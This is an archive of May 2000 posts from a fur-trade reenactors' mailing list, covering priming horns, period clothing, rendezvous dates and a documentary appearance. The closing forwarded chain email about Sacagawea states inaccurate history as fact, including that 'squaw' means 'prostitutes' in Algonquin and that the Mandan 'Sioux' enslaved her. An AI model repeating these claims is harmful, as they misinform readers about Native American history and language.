"Knowing how is just the beginning"<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_013E_01BFBC1E.13175440--


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 12 May 2000 14:50:22 -0700

Thank you.  I was aware of the political party significance.  However, as I
am sure that you understand, the word has taken on a much broader meaning in
the last half of the 20th century.  Regardless, it is offensive and was
intended by the users on this list to be offensive.  Besides, I do not
personally intend to slap anyone with a name.  Regards,  Paul
----- Original Message -----
Sent: Friday, May 12, 2000 9:24 AM


> Paul,
> Just a point of information, the term NAZI stands for political party if
you
> are going to slap someone with a name it should be= "Authenticity
Gestapo".
> Just thought I would correct you (ha ha)
> YMOS
> Ole
> ----------
> >From: "Paul W. Jones" <[e-mail]>
> >To: <[e-mail]>
> >Subject: Re: MtMan-List: Re: Authenticity Nazis
> >Date: Thu, May 11, 2000, 10:23 AM
> >
>
> >Dear List Members...
> >
> >For what my opinion is worth, if we can not let this dog (topic) die, at
> >least give up the subject  line using the term "Nazis."  It is an
extremely
> >offensive term, and one to which, I at least, take particular umbrage.
> >
> >Additionally, while I do appreciate to a degree, the sensitivity of some
of
> >our list members, as expressed by the material below between Julia and
> >Bobbie, I respectfully suggest that such comments are better directed off
> >list as between the interested parties and not to the list at large.
> >
> >This list is for a dedicated purpose, and while humor and venom often
seem
> >to creep (creep hell, it flows like lava) in to our conversations, I
would
> >think it a better practice to keep the personal comments personal and off
> >the list.
> >
> >Just my thoughts.  Regards,  Paul
> >----- Original Message -----
> >From: Julia <[e-mail]>
> >To: <[e-mail]>
> >Sent: Thursday, May 11, 2000 5:27 AM
> >Subject: Re: MtMan-List: Re: Authenticity Nazis
> >
> >
> >> My heart goes to you,  Bobbie,
> >>
> >> >   Thanks, Ole, for acknowledging that what was said was hurtful.  It
> >seems
> >> >to have escaped everyone else on this list.
> >>
> >> I was not lost on me,  but I have never been made welcome on this
> >> list,  so I offer very little.   I have been very tempted to withdraw
> >> from this list over the list over this too.
> >>
> >> >    Tonight I'm mourning the fact that my hometown is going up in
flames.
> >> >Two weeks ago, I saw my childhood home, and tonight I read the words
that
> >> >it is all gone.  Gone.  Now the fire is spreading into one of the
poorest
> >> >counties in the nation, including two Indian Pueblos.  Those people
can't
> >> >afford to lose anymore.  They have so little.
> >>
> >> Tears fill my eyes,   I want to help!  What can I do?  Let me know!
> >> All of this list stuff seem so unimportant when REAL  tragedy strikes.
> >> If it is raising money or goods,  I will do it.
> >> Give me details,  I want to do what will help!
> >>
> >> Julia
> >> in Oregon
> >>
> >>
> >> ----------------------
> >> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Henry B. Crawford" <[e-mail]>
Subject: MtMan-List: Texas rangers (slightly OT)
Date: 12 May 2000 15:43:16 -0500

I know it's not necessarily fur trade, but many of us do other periods
besides the fur trade era.  Some of you might be interested in this, so
mark your calendars for Wednesday, May 17.  I will be appearing in a
Discovery Channel documentary called "Texas Rangers: Legendary Lawmen."
The series is listed on TV schedules as "On the Inside," with this episode
being about the history of the Rangers.  It is scheduled to air at 7:00 PM
and repeated at 10:00PM (Central time) on the Discovery Channel.  Among
other things you will see me ride, shoot, and get gunned down by John
Wesley Hardin.  I was hired by CBS News (the producer) to coordinate the
reenactors.  We were able to gather about a dozen historically accurate
reenactors (with horses) on short notice for the project.  I have not seen
the finished product, so I can't say how good the program will be.  All I
know is that the reenacting scenes were pretty well done.  I think y'all
will like it.

Cheers,
HBC

**********************************
Henry B. Crawford
Curator of History
Museum of Texas Tech University
Box 43191
Lubbock, TX  79409-3191
[e-mail]
806/742-2442  FAX [phone]
Website: http://www.ttu.edu/~museum
***  Living History . . . Because It's There  ***



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From: [e-mail]
Subject: Re: MtMan-List: priming horn
Date: 12 May 2000 17:23:38 EDT


In a message dated 5/12/00 9:58:20 AM, [e-mail] writes:

<< I know

there are some shown in reference books, but I don't believe they were

ever authenticated as to the time period and some claim they are actually

late 19th century "day" horns.

 >>

In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
accouterments of David Cooke (born 1761, died 1842.) It shows, among other
things, a small priming horn... (see at:
http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
This reference book was published for "The Kentucky Rifle Association" in
1976, so I think well documented...
Don't see a short starter though.....
Ymos,
Steve


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From: [e-mail]
Subject: RE: MtMan-List: priming horn
Date: 12 May 2000 15:31:50 -0600

Great picture, Steve. Although I know what most of the stuff is, I sure wish
I could read those labels.........

Gonna have to try to locate that book.

Thanks,

Lou Sickler
Colorado Territory

> -----Original Message-----
> From:    [e-mail] [SMTP:[e-mail]]
> Sent:    Friday, May 12, 2000 3:24 PM
> To:    [e-mail]
> Subject:    Re: MtMan-List: priming horn
>
>
> In a message dated 5/12/00 9:58:20 AM, [e-mail] writes:
>
> << I know
>
> there are some shown in reference books, but I don't believe they were
>
> ever authenticated as to the time period and some claim they are actually
>
> late 19th century "day" horns.
>
>  >>
>
> In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
> accouterments of David Cooke (born 1761, died 1842.) It shows, among other
>
> things, a small priming horn... (see at:
> http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
> This reference book was published for "The Kentucky Rifle Association" in
> 1976, so I think well documented...
> Don't see a short starter though.....
> Ymos,
> Steve
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

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From: [e-mail]
Subject: Re: MtMan-List: Texas rangers (slightly OT)
Date: 12 May 2000 17:34:28 EDT


In a message dated 5/12/00 1:48:52 PM, [e-mail] writes:

<< .  Among
other things you will see me ride, shoot, and get gunned down by John
Wesley Hardin.  I was hired by CBS News >>

Henry....you got an agent? <G> Just saw your smilin face the other day on the
History Channel... the Mountain Men series...I think it was. Good job....
Ymos,
Steve

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From: [e-mail]
Subject: Re: RE: MtMan-List: priming horn
Date: 12 May 2000 17:53:39 EDT


In a message dated 5/12/00 2:31:51 PM, [e-mail] writes:

<< Great picture, Steve. Although I know what most of the stuff is, I sure
wish
I could read those labels.........

Gonna have to try to locate that book.

Thanks,

Lou Sickler
Colorado Territory
 >>

Good point! So...I'll name em...left to right, top to bottom...
Home made crow call
Horn spoon
Salt horn
Spectacles
Knife and fork
Home made knife, bolster pewter, blade is of a file, knotch in blade shows
Cooke was left handed
Priming horn
bullet mould
Bullet pouch made of deerskin
bag with powder horn, patch knife, bullet board, and bone powder measure
Bone Quail call
fishing bobber made with part of a turkey feather quill
leather flintlock cover
jews harp and rib bones for entertainment(!)
old hunters watch with compass handle
fancy tobacco pouch
bell for dog when in deep brush

Cooke was from Norristown, Pennsylvania, don't think he made it west, but
interesting gear in his bag...
Ymos,
Steve

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From: Phyllis and Don Keas <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 17:03:42 -0600

My wife and I live down in Pueblo and have been doing this for many years. =
 Be glad to help if we can.  Don and Phyllis Keas

On Friday, June 30, 1939, [e-mail] wrote:
>Hi,
>I'm new to the list and am interested in sewing clothing for my husband =
and
>I for mountain man impression. I'd like to chat with other folks on the =
list
>who are doing the same so that I can locate patterns or instructions and
>also learn to do this "right". I live just west of Denver.
>
>Helen
>
>
>----------------------
>hist_text list info:
>http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 12 May 2000 18:08:32 -0500

Hi Steve, A couple years ago I had a conversation with Jim Dresslar the
author of "The Engraved Powder Horn", and probably the countries foremost
authority on powder horns, and he also mentioned that there are very few
references in period documents to priming horns, and that priming horns
generally weren't used by many folks. At the time I was surprised at his
comment, but I certainly gave it a lot of weight, as he has spent a lifetime
studying and collecting horns and there use. I do have a couple original
horns that I would say are priming horns. One is flat with a horses head
carved into a spout, with the horses mouth being the actual hole in the
spout, and the other is a small horn, about 3" long and scraped very thin,
looks to me like it was worn on a thong carried around the neck.
BTW I didn't forget about the canoe building video, it will be on it's way
shortly...

Tony Clark

-----Original Message-----


>
>In a message dated 5/12/00 9:58:20 AM, [e-mail] writes:
>
><< I know
>
>there are some shown in reference books, but I don't believe they were
>
>ever authenticated as to the time period and some claim they are actually
>
>late 19th century "day" horns.
>
> >>
>
>In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
>accouterments of David Cooke (born 1761, died 1842.) It shows, among other
>things, a small priming horn... (see at:
>http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
>This reference book was published for "The Kentucky Rifle Association" in
>1976, so I think well documented...
>Don't see a short starter though.....
>Ymos,
>Steve
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Texas rangers (slightly OT)
Date: 12 May 2000 16:58:08 -0700

Henry,
Good on ya.  Will be looking for the show and your face.....  I envy your
ability to do this stuff.  You've obviously got some credible credentials.
John Funk


----- Original Message -----
Sent: Friday, May 12, 2000 1:43 PM


> I know it's not necessarily fur trade, but many of us do other periods
> besides the fur trade era.  Some of you might be interested in this, so
> mark your calendars for Wednesday, May 17.  I will be appearing in a
> Discovery Channel documentary called "Texas Rangers: Legendary Lawmen."
> The series is listed on TV schedules as "On the Inside," with this episode
> being about the history of the Rangers.  It is scheduled to air at 7:00 PM
> and repeated at 10:00PM (Central time) on the Discovery Channel.  Among
> other things you will see me ride, shoot, and get gunned down by John
> Wesley Hardin.  I was hired by CBS News (the producer) to coordinate the
> reenactors.  We were able to gather about a dozen historically accurate
> reenactors (with horses) on short notice for the project.  I have not seen
> the finished product, so I can't say how good the program will be.  All I
> know is that the reenacting scenes were pretty well done.  I think y'all
> will like it.
>
> Cheers,
> HBC
>
> **********************************
> Henry B. Crawford
> Curator of History
> Museum of Texas Tech University
> Box 43191
> Lubbock, TX  79409-3191
> [e-mail]
> 806/742-2442  FAX [phone]
> Website: http://www.ttu.edu/~museum
> ***  Living History . . . Because It's There  ***
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: "elenyte" <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 20:02:56 -0600

Hi,
First I'd like to thank the folks who responded to my "diving right in"
posting. But there's no time to waste regarding gathering good information.
I appreciate the warmth.

Larry, your posting with questions and information really made me think
about all this in a more constructive way. I've always enjoyed sewing with
cotton and wool. So, I think this first crack at sewing clothing for
impressions will be that route. Like your wife, I'm steering clear (no pun
intended) of leather except for making moccasins. Shoes/boots in tougher
leathers might be the hardest to find and the costliest pieces of clothing
to have made. So, I'll seek out your reference for moccasins and have at it.

Yesterday, spent the day visiting the various historical pattern websites
and noted how clothing styles  lasted over the decades and overlapped from
the Rev period into the Fur Trading era.  I'd like to keep all this as
simple as I can. This way, I might not fall into pitfalls. So, since I'm
green eyed and fair skinned, I'm intrigued by the captive white woman
persona because it seems the simplest to get together. I could make a skirt
for myself and use the same simple shirt pattern for myself as for my
husband.  Then make him some trousers and that would be a proper start. But
I need guidance to know if that would be correct.  There's just not much out
there in the way of simple clothing for women. I'm not at all interested in
fancy ball gowns. It's rough and tumble, durable clothing for me.

---  A short detour, here.  Today, I went to lunch with an old friend and
told him about the possibility of creating an Indian captive impression. I
jokingly suggested that I could be a white woman who was so ornery that the
Indians begged this fur trapper to take her, please! And my friend said that
it would suit me perfectly! :-P~~~~

Anyhow, I'm delighted that you shared your favorite reference materials and
am going to search for them tonight in my library's web pages. Perhaps some
publications are also available at suttler's tents. I'm well aware that
those patterns are distant cousins to the ones manufactured today. But I
have a close friend who is a CW reenactor out of Illinois. She's sewn it all
for her family members who participate. She's happy to help me through the
rough spots of translating patterns or diagrams to proper size and
allignment.  But her style focus is for a later period. At this point in my
early days of research I want to make good choices. So, I need someone to
let me know if my thoughts on my wearing the mans simple shirt over the long
skirt and belted would be ok. And can I use a sash for a belt?  Or do I have
a lot more latitude on belting materials? I'd so appreciate chatting with
some women about this.

My interest in all this stems from attendiing CW reenactments back in the
1970's when my brother was very active in them. Now that I've taken an early
retirement, I have time to attend rendezvous and know that the more folks
who attend in accurately fashioned period clothing, the more fun it is for
everyone.  We have no intentions of acting like experts. But rather just to
attend looking like we belong to the period of history and enjoy the process
of learning as we go.

What I'd like to do now is gather a few urls for patterns available on the
web and run them past some folks to see if they look familiar for the Fur
Trading period.  I don't want to take up a lot of peoples' time. If anyone
is willing to help me off list, perhaps the list would appreciate that.

One last thing - Yesterday, I started reading the archives of this mail
list. You guys are a hoot! The discussion about keeping warm with hot rocks
and the cautions over exploding rocks was so much fun to read!  And lastly,
since my husband started working for the state department of water
resources, we drink no "wild" water. Not ever! If it's not giardia it's the
possibility of mine tailings. But you all probably know that. I've only
gotten as far as January 6th postings for 1999.

thanks,
-Helen
Lakewood, Colorado


----- Original Message -----
Sent: Friday, May 12, 2000 10:30 AM


> Hi, Helen, welcome to the list and to the life.
>     In order to give you good advice, I'd need more information.  Are you
> talking about leather or cloth?  European/American or Native Indian?
> Contrary to common belief, most folks started West wearing cloth (not
> leather)and bought cloth whenever they got back to civilization.  Indians
> living near posts or forts wore cloth for comfort, style and status.
> Leather and buffalo robes were traditionally attainable in the wild but
> cotton, linen and wool just felt better.  So, are YOU dressing as an
Indian
> woman or a settler/habitant?  If there's no native blood in you or your
> coloring doesn't reflect that culture, you would probably look better as a
> "white" woman drudy/mtman/maillist.html


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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 19:32:46 -0700

Helen,    As you are in the Southwest, a Taos woman might be a choice for
you?  I am in Southern Cal., so tend to have some South West influence in
my gear.  My wife dresses in simple Mid length skirts, cotton blouses, a
belt or sash, a rebozzo(light , smallish shawl) and slipper like
moccasins.  As the weather cools she adds layers, sometimes britches
under her skirt and a short Canoe capote with heavier southwest style
moccasins.  She doesn't like to wear leather, as it is heavy and not much
warmer (except in a wind).  I also made her a pair of wool leggings for
cold weather.  I am learning to sew (self taught) and just finished my
most complex project.  I made a vest from a west kit pattern, which I
adapted to a later period....ie..shortened, with less flamboyant pocket
flaps and fewer buttons.  It is a lined vest, and I had fun making it.
It is the most hand stitching I have ever done, and I'm proud of how well
it turned out.  Good luck with your search.   hardtack

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From: [e-mail]
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 22:44:10 -0400

What time period and area of the country would be your "captive" impression?

Linda Holley

elenyte wrote:

> Hi,
> First I'd like to thank the folks who responded to my "diving right in"
> posting. But there's no time to waste regarding gathering good information.
> I appreciate the warmth.
>
> Larry, your posting with questions and information really made me think
> about all this in a more constructive way. I've always enjoyed sewing with
> cotton and wool. So, I think this first crack at sewing clothing for
> impressions will be that route. Like your wife, I'm steering clear (no pun
> intended) of leather except for making moccasins. Shoes/boots in tougher
> leathers might be the hardest to find and the costliest pieces of clothing
> to have made. So, I'll seek out your reference for moccasins and have at it.
>
> Yesterday, spent the day visiting the various historical pattern websites
> and noted how clothing styles  lasted over the decades and overlapped from
> the Rev period into the Fur Trading era.  I'd like to keep all this as
> simple as I can. This way, I might not fall into pitfalls. So, since I'm
> green eyed and fair skinned, I'm intrigued by the captive white woman
> persona because it seems the simplest to get together. I could make a skirt
> for myself and use the same simple shirt pattern for myself as for my
> husband.  Then make him some trousers and that would be a proper start. But
> I need guidance to know if that would be correct.  There's just not much out
> there in the way of simple clothing for women. I'm not at all interested in
> fancy ball gowns. It's rough and tumble, durable clothing for me.
>
> ---  A short detour, here.  Today, I went to lunch with an old friend and
> told him about the possibility of creating an Indian captive impression. I
> jokingly suggested that I could be a white woman who was so ornery that the
> Indians begged this fur trapper to take her, please! And my friend said that
> it would suit me perfectly! :-P~~~~
>
> Anyhow, I'm delighted that you shared your favorite reference materials and
> am going to search for them tonight in my library's web pages. Perhaps some
> publications are also available at suttler's tents. I'm well aware that
> those patterns are distant cousins to the ones manufactured today. But I
> have a close friend who is a CW reenactor out of Illinois. She's sewn it all
> for her family members who participate. She's happy to help me through the
> rough spots of translating patterns or diagrams to proper size and
> allignment.  But her style focus is for a later period. At this point in my
> early days of research I want to make good choices. So, I need someone to
> let me know if my thoughts on my wearing the mans simple shirt over the long
> skirt and belted would be ok. And can I use a sash for a belt?  Or do I have
> a lot more latitude on belting materials? I'd so appreciate chatting with
> some women about this.
>
> My interest in all this stems from attendiing CW reenactments back in the
> 1970's when my brother was very active in them. Now that I've taken an early
> retirement, I have time to attend rendezvous and know that the more folks
> who attend in accurately fashioned period clothing, the more fun it is for
> everyone.  We have no intentions of acting like experts. But rather just to
> attend looking like we belong to the period of history and enjoy the process
> of learning as we go.
>
> What I'd like to do now is gather a few urls for patterns available on the
> web and run them past some folks to see if they look familiar for the Fur
> Trading period.  I don't want to take up a lot of peoples' time. If anyone
> is willing to help me off list, perhaps the list would appreciate that.
>
> One last thing - Yesterday, I started reading the archives of this mail
> list. You guys are a hoot! The discussion about keeping warm with hot rocks
> and the cautions over exploding rocks was so much fun to read!  And lastly,
> since my husband started working for the state department of water
> resources, we drink no "wild" water. Not ever! If it's not giardia it's the
> possibility of mine tailings. But you all probably know that. I've only
> gotten as far as January 6th postings for 1999.
>
> thanks,
> -Helen
> Lakewood, Colorado
>
> ----- Original Message -----
> From: Larry Huber <[e-mail]>
> To: <[e-mail]>
> Sent: Friday, May 12, 2000 10:30 AM
> Subject: Re: MtMan-List: New to list
>
> > Hi, Helen, welcome to the list and to the life.
> >     In order to give you good advice, I'd need more information.  Are you
> > talking about leather or cloth?  European/American or Native Indian?
> > Contrary to common belief, most folks started West wearing cloth (not
> > leather)and bought cloth whenever they got back to civilization.  Indians
> > living near posts or forts wore cloth for comfort, style and status.
> > Leather and buffalo robes were traditionally attainable in the wild but
> > cotton, linen and wool just felt better.  So, are YOU dressing as an
> Indian
> > woman or a settler/habitant?  If there's no native blood in you or your
> > coloring doesn't reflect that culture, you would probably look better as a
> > "white" woman drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Allen Hall <[e-mail]>
Subject: MtMan-List: What a country
Date: 12 May 2000 22:53:36 -0600

Hello the camp,

One of the subsribers to this list noted how lucky we are to live here in
the US.  I hope you all appreciate how right he is.  I want to pass along a
little of my appreciation.

Today 3 of my buddies and I drove up to Pinedale, Wyoming to visit the
Museum of the Mountain Man for some business.  Anyway, we saw at least 250
antelope at various places, over 100 head of deer, several moose, had a real
close up of 6 bighorn sheep playing on the road.  We stopped by Fort
Bonneville, overlooked the Green River/Horse Creek rendezvous area, glimpsed
at the Tetons, went through Jackson's Little Hole, passed the junction of
the Hoback and the Lewis Fork, then the junction of the Salt, Gray's and
Lewis Fork.

What a country!  Waugh!

Allen


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: What a country
Date: 12 May 2000 22:23:49 -0700

Allen,

Sounds like you took a fantastic journey right through the living, beating
Heart of America. Lucky man. You make us envious. I remain.....

YMOS
Capt. Lahti'
----- Original Message -----
Sent: Friday, May 12, 2000 9:53 PM


> Hello the camp,
>
> One of the subsribers to this list noted how lucky we are to live here in
> the US.  I hope you all appreciate how right he is.  I want to pass along
a
> little of my appreciation.
>
> Today 3 of my buddies and I drove up to Pinedale, Wyoming to visit the
> Museum of the Mountain Man for some business.  Anyway, we saw at least 250
> antelope at various places, over 100 head of deer, several moose, had a
real
> close up of 6 bighorn sheep playing on the road.  We stopped by Fort
> Bonneville, overlooked the Green River/Horse Creek rendezvous area,
glimpsed
> at the Tetons, went through Jackson's Little Hole, passed the junction of
> the Hoback and the Lewis Fork, then the junction of the Salt, Gray's and
> Lewis Fork.
>
> What a country!  Waugh!
>
> Allen
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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From: [e-mail]
Subject: Re: MtMan-List: John (aka Jeremiah) Johnston's Guns
Date: 13 May 2000 02:08:32 EDT

First off, the book Crow Killer is reputed to be largely fiction, and Thorp's
and Bunker's main informant, "Del Gue" was said to be a notorious
prevaricator.  You might try Mark H. Brown's PLAINSMEN OF THE YELLOWSTONE
(Putnam's, New York, 1961).  I have read other books of his and they were
very good, solidly researched history.  I corresponded for a while with a guy
that is writing a book on Johnston (dispelling the interesting but inaccurate
myths).  I can't seem to find his name or e-mail address anywhere though.

Any mention of Johnston owning a Hawken rifle in CROW KILLER is likely an
attempt by the authors or their informants or whoever to describe him
carrying a "typical" mountain man's rifle, without their actually knowing
what he had.  Now the famous photograph with him toting a Winchester is good
solid documentation.  Speculation about the gun(s) he used from 1843 (the
year he came to the mountains) until the 1860s is probably a waste of time,
until some good reliable data turns up.  Why don't you query the MT Hist.
Soc. in Helena? (PO Box 201201, Helena, MT, 59620) They probably have a good
Johnston file/collection.

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From: [e-mail]
Subject: Re: MtMan-List: western rendezvous
Date: 13 May 2000 02:43:02 EDT

The Rendezvous in


































The Rendezvous up by Pole Bridge Montana by Glacier is put on by the group
that pulled away from N.M.L.R.A. I for get what they call them selves. But as
a rule they have a better turn out. Don't know what kind of turn out they
will have all the up to Pole Bridge this time. I went to the last one that
was held up there and the numbers were down but in my book that ain't all
bad. Man the country up there is worth the trip.
                                         See ya on the trail
                                          Crazy Cyot

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From: [e-mail]
Subject: Re: MtMan-List: western rendezvous
Date: 13 May 2000 03:07:52 EDT

 The Rendezvous up by Pole Bridge Montana by Glacier is put on by the group
that pulled away from N.M.L.R.A. I for get what they call them selves. But as
a rule they have a better turn out. Don't know what kind of turn out they
will have all the way up to Pole Bridge this time. I went to the last one
that
was held up there and the numbers were down but in my book that ain't all
bad. Man the country up there is worth the trip.
                                         See ya on the trail
                                          Crazy Cyot

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From: [e-mail]
Subject: Re: MtMan-List: western rendezvous
Date: 13 May 2000 09:19:03 EDT

CAN ANYONE TELL ME IF THEY AR GOING TO HAVE THE RONDY AT TIN CUP UP IN NE
THIS YEAR IF SO WHEN

JIM

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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Tracking and Time Frame
Date: 12 May 2000 20:15:14 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0037_01BFBC4E.C83BDAA0
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Thank you to those who responded.  My questions are in part an attempt =
to get things "back to normal".  I do want to know the stuff, but this =
provided a good time to ask. =20

However, I want to correct a wrong impression I purposely gave.  I do =
not live in Wyo.  J Smith refered to this area as a second home or some =
such.  If I remember right four groups of RMFTs all colided here in =
about 25.  My home is very near the lake that Mr Russell rode up so high =
to over look.  He hunted sheep in the cliffs near it.  I live in Willard =
Utah.   I worked on the benches above Bountiful last year, and the lake =
can be a pretty sight from up high on a winter eve.

And Captian I get your point but my son and I ride through these hills =
on the same tall horse so at times like that, he is not "built closer to =
the ground".  He does have "fresh eyes" and that sometimes makes him my =
superior.  I wish I could write the words that could descibe the =
pleasure it is to sit a fine horse with that boy and follow a track in =
the fresh snow on a winter day.   Life is good.

YMOS
WY
 =20

4 year old has fresh =3D eyes and is built closer to the ground


------=_NextPart_000_0037_01BFBC4E.C83BDAA0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Thank you to those who responded.  =
My=20
questions are in part an attempt to get things "back to normal".  I =
do want=20
to know the stuff, but this provided a good time to ask.  =
</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>However, I want to correct a wrong =
impression I=20
purposely gave.  I do not live in Wyo.  J Smith refered to =
this area=20
as a second home or some such.  If I remember right four groups of =
RMFTs=20
all colided here in about 25.  My home is very near the lake that =
Mr=20
Russell rode up so high to over look.  He hunted sheep in the =
cliffs near=20
it.  I live in Willard Utah.   I worked on the benches =
above=20
Bountiful last year, and the lake can be a pretty sight from up high on =
a winter=20
eve.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>And Captian I get your point but my son =
and I ride=20
through these hills on the same tall horse so at times like that, he is =
not=20
"built closer to the ground".  He does have "fresh eyes" and that =
sometimes=20
makes him my superior.  I wish I could write the words that could =
descibe=20
the pleasure it is to sit a fine horse with that boy and follow a =
track in=20
the fresh snow on a winter day.   Life is good.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>YMOS</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>  </FONT></DIV>
<DIV> </DIV>
<DIV>
<P>4 year old has fresh =3D eyes and is built closer to the=20
ground</P></DIV></BODY></HTML>

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From: "Susan Gilbert" <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 13 May 2000 09:48:06 -0500 (CDT)

Welcome Helen,

    Nice to see another woman join the fray 'round here.  I research and
make all the clothing and footwear for my husband and myself as well.  It is
a fascinating and satisfying thing to do.  I get such pleasure seeing him in
camp, knowing everything he's wearing I made for him.
    You have already received alot of good help and suggestions,
especially Larry's post on figuring out where to start.  Anything I can do to
help, on or off list, just let me know.

Sue Gilbert
6 Beaver Camp
[e-mail]


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From: "John C. Funk, Jr." <[e-mail]>
Subject: MtMan-List: Fw: The New Gold Dollar Coin
Date: 13 May 2000 08:28:15 -0700



> THE NEW "GOLD" DOLLAR COIN
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> The New One Dollar Coin which is now available is the anticipated
> Sacagawea Golden Dollar Coin!  These brilliant, uncirculated, new and
> exciting Mint dollars are fresh from the US Mint.  This is the first
> redesign of the dollar coin in over 20 years! Some areas of the country
> will not see these for up to 3 months!  This beautiful new coin features
> distinguish- ing traits including: a golden color, extra wide border,
> smooth edge and a specially designed alloy.  The coin's physical makeup
> is constructed as pure copper sandwiched between outer layers of
> manganese brass.  "Sacagawea" is portrayed on the front of the coin
> carrying her infant son.  The reverse of the golden dollar displays a
> soaring American bald eagle, our nation's symbol.
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> And who, you might wonder, was "Sacagawea".  Read on, and you will find
> out.
>
> Sacagawea had been kidnapped and enslaved by the Mandan Sioux who were
> living in Fort Mandan, North Dakota.  The Mandan gambled her away to
> Charbonneau, a White fur trader who had lived among them for many years.
> Lewis and Clark had set up a winter camp at the Fort Mandan Trading Post.
>  They had hired Charbonneau to join the Expedition as an Indian
> interpreter, because he knew Sioux and French, which enabled him to
> communicate with many different tribes.  Like the Mandan, Charbonneau was
> a polygamist who had already taken two other Indian "wives".  These women
> were called "Squaws" which is the Algonquin word for "prostitutes".
> While conversing with Charbon- neau, they learned that Sacagawea knew the
> Shoshone language of her birth tribe.  They asked Charbonneau to bring
> her on the Expedition even though she would have a newborn child to care
> for.  They knew that when they reached the source of the Missouri River,
> they would need to buy horses from a Shoshone Tribe known to be in the
> area.  Without horses they would not be able to continue the Expedition
> across land to reach the Pacific Ocean.
>
> Within the first few months of the Expedition, Lewis and Clark would come
> to value Sacagawea's strength, intelligence, and bravery in the face of
> the many unexpected hardships during the exploration consigned to them by
> President Jefferson. By order of the President, Lewis and Clark were
> assigned with the job of discovering a water passage through the
> unexplored Northwest that would be a direct route to the Pacific Ocean.
> To successfully complete the trek through unexplored territory, and map
> the Northwest Passage to the Western Coast, the White men would need the
> help of the Shoshone Indians whose land they would claim for their own.
> Little did they know that this tribe was composed of Sacagawea's people.
> Her brother was their Chief.
>
> They would have to travel by canoe up to the beginning of the Missouri
> River, and venture through rugged terrain by horse, which they would have
> to purchase from the Shoshone. It had been a dream of civilized European
> and American Governments for several hundred years to find a direct route
> through the land of Sacagawea's birth.
>
> The Expedition would be in for a shock when they reached the source of
> the Missouri River and hiked over the first mountain.  The wilderness
> before them was vast.  Instead of a few miles, they would have to trek
> for many months.  Horses were an absolute necessity.  They desperately
> needed Sacagawea's Shoshone Indians who inhabited the mountains.  The
> Shoshone had heard about the White man but they had never seen one.
>
> Lewis and Clark prepared for the rugged Expedition in Fort Mandan, which
> was located in a very cold area in North Dakota.  When the ice thawed in
> the Spring of 1805, they would set out on the Expedition, taking
> Sacagawea and Charbonneau along as Indian Interpreters.  However,
> Sacagawea went into labor 2 months before they were to set out on the
> Expedition the following Spring. She had experienced a difficult delivery
> under primitive, unsanitary conditions when Jean-Baptiste (called Pomp by
> Sacagawea) was born.  Shortly after his birth, he was strapped to her
> back in a cradle board as the Expedition set out on its rugged trip.
> Sixteen year old Sacagawea was expected to be a fully contributing member
> of the expedition, and she certainly was.
>
> For the first few months of the expedition, Lewis and Clark did not fully
> appreciate Sacagawea, even in the face of her saving actions.  On May 14,
> 1805, Clark recorded in his log that a sudden gust of wind had struck the
> sail of the boat broadside nearly overturning it and its valuable
> contents including, "our papers [logs], Instruments, books, medicine, a
> great proportion of our merchandize, and in short almost every article
> indispensibly necessary..  the articles which floated out was nearly all
> caught by the Squar [Squaw: which was another name used for Sacagawea]
> who was in the rear".  Her husband Charbonneau was frozen in fear by the
> turbulence of the river.
>
> Although Sacagawea had demonstrated her personal value to the Expedition,
> it was not yet recognized.  On June 10, 1805, Lewis demonstrates an
> indifference to her survival.  He writes that she is very sick and then
> he continues on about minor matters in the same sentence "Capt.  C.
